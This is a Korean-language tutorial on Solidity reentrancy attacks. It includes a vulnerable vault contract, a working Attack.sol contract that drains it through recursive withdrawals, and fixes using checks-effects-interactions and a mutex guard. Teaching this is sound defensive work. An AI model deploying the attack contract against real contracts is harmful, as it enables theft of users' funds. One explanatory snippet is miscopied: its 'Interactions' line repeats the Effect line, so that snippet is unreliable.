번역 및 내용을 추가하여 작성하였습니다.
다음과 같은 능력을 키우고 싶어 시작하게 되었습니다.
Reentrancy Attack는 공격자가 재귀적으로 인출을 수행하여 Contract에 있는 모든 ETH를 훔치는 공격입니다.
유명한 예시로는 2016년 360만 이더리움을 도난당한 DAO 해킹 사건입니다. 이 사건으로 인해 이더리움 클래식이 하드포크되어 탄생되었습니다.
InsecureEtherVault.sol
아래는 ETH를 입금하고, 모든 Ether를 출금하고, 잔액을 확인할 수 있는 간단한 보관소인 InsecureEtherVault Contract입니다.
이 컨트랙트는 재진입 공격에 취약합니다.
pragma solidity 0.8.13;
contract InsecureEtherVault {
mapping (address => uint256) private userBalances;
function deposit() external payable {
userBalances[msg.sender] += msg.value;
}
function withdrawAll() external {
uint256 balance = getUserBalance(msg.sender);
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
userBalances[msg.sender] = 0;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) public view returns (uint256) {
return userBalances[_user];
}
}
InsecureEtherVault Contract의 경우, 재진입은 14번째 라인의 withdrawAll() 함수에서 시작합니다.
4단계 - **msg.sender.call**
함수가 실행되는 즉시 balance변수로 표시된 ETH가 사용자 지갑 또는 외부 Contract로 전송됩니다.
5단계 - 공격자의 공격 Contract가 수신자인 경우, 해당 Contract는 재귀적으로 withdrawAll 함수를 호출하여 재진입을 수행하여 InsecureEtherVault Contract에 있는 모든 Ether를 빼낼 수 있습니다.
Attack.sol
Attack Contract는 InsecureEtherVault Contract를 공격하는데 사용될 수 있습니다.
pragma solidity 0.8.13;
interface IEtherVault {
function deposit() external payable;
function withdrawAll() external;
}
contract Attack {
IEtherVault public immutable etherVault;
constructor(IEtherVault _etherVault) {
etherVault = _etherVault;
}
receive() external payable {
if (address(etherVault).balance >= 1 ether) {
etherVault.withdrawAll();
}
}
function attack() external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
etherVault.deposit{value: 1 ether}();
etherVault.withdrawAll();
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
InsecureEtherVault Contract를 공격하기 위해 공격자는 Attack.attack() 함수를 호출하고 1 Ether를 공급합니다.
공격자는 InsecureEtherVault Contract에 있는 5 ETH를 모두 훔치기 위해 1 ETH를 입금하고, 초기 이더리움을 인출한 후 5번의 재입금을 수행합니다.
이러한 공격이 가능한 이유는 InsecureEtherVault.sol 컨트랙트의 상태가 업데이트 되기전에 다시 함수를 호출하기 때문입니다.
call 함수는 호출한 컨트랙트(Attack.sol)의 receive() 함수를 호출합니다.
[InsecureEtherVault.sol]
...
(bool success, ) = msg.sender.call{value: balance}("");
...
상태가 변경되기 전에 반복하여 호출합니다.
마지막에 0으로 변경하기 때문에 require(balance > 0, "Insufficient balance"); 계속 통과합니다.
[InsecureEtherVault.sol]
...
function withdrawAll() external {
userBalances[msg.sender] = 0;
}
pragma solidity 0.8.13;
abstract contract ReentrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
contract FixedEtherVault is ReentrancyGuard {
mapping (address => uint256) private userBalances;
function deposit() external payable {
userBalances[msg.sender] += msg.value;
}
function withdrawAll() external noReentrant { // FIX: Apply mutex lock
uint256 balance = getUserBalance(msg.sender);
require(balance > 0, "Insufficient balance"); // Check
// FIX: Apply checks-effects-interactions pattern
userBalances[msg.sender] = 0; // Effect
(bool success, ) = msg.sender.call{value: balance}(""); // Interaction
require(success, "Failed to send Ether");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function getUserBalance(address _user) public view returns (uint256) {
return userBalances[_user];
}
}
두가지 솔루션이 있습니다.
외부 계약과 상호작용하기 전에 모든 상태 변경이 먼저 이루어진다.
Checks: 모든 조건을 먼저 확인한다.
require(balance > 0, "Insufficient balance"); // Check
Effects: 상태를 변경한다.
userBalances[msg.sender] = 0; // Effect
Interactions: 외부 계약과 상호 작용한다.
userBalances[msg.sender] = 0; // Effect
“mutex” 또는 “mutual exclusion”을 사용하여 재진입을 방지한다. 즉, 한 번에 하나의 트랜잭션만 함수를 실행할 수 있게 한다.
여러 프로세스나 스레드가 동시에 특정 자원에 접근하지 못하게 제한하는 메커니즘을 말한다.
**locked
** 라는 상태 변수를 사용하여 함수가 이미 실행 중인지 확인한다.**withdrawAll()
** 함수에 이 Modifier를 적용하면, 이 함수는 한 번에 하나의 트랜잭션만 처리할 수 있으므로 재진입 공격을 방지할 수 있다.abstract contract ReentrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}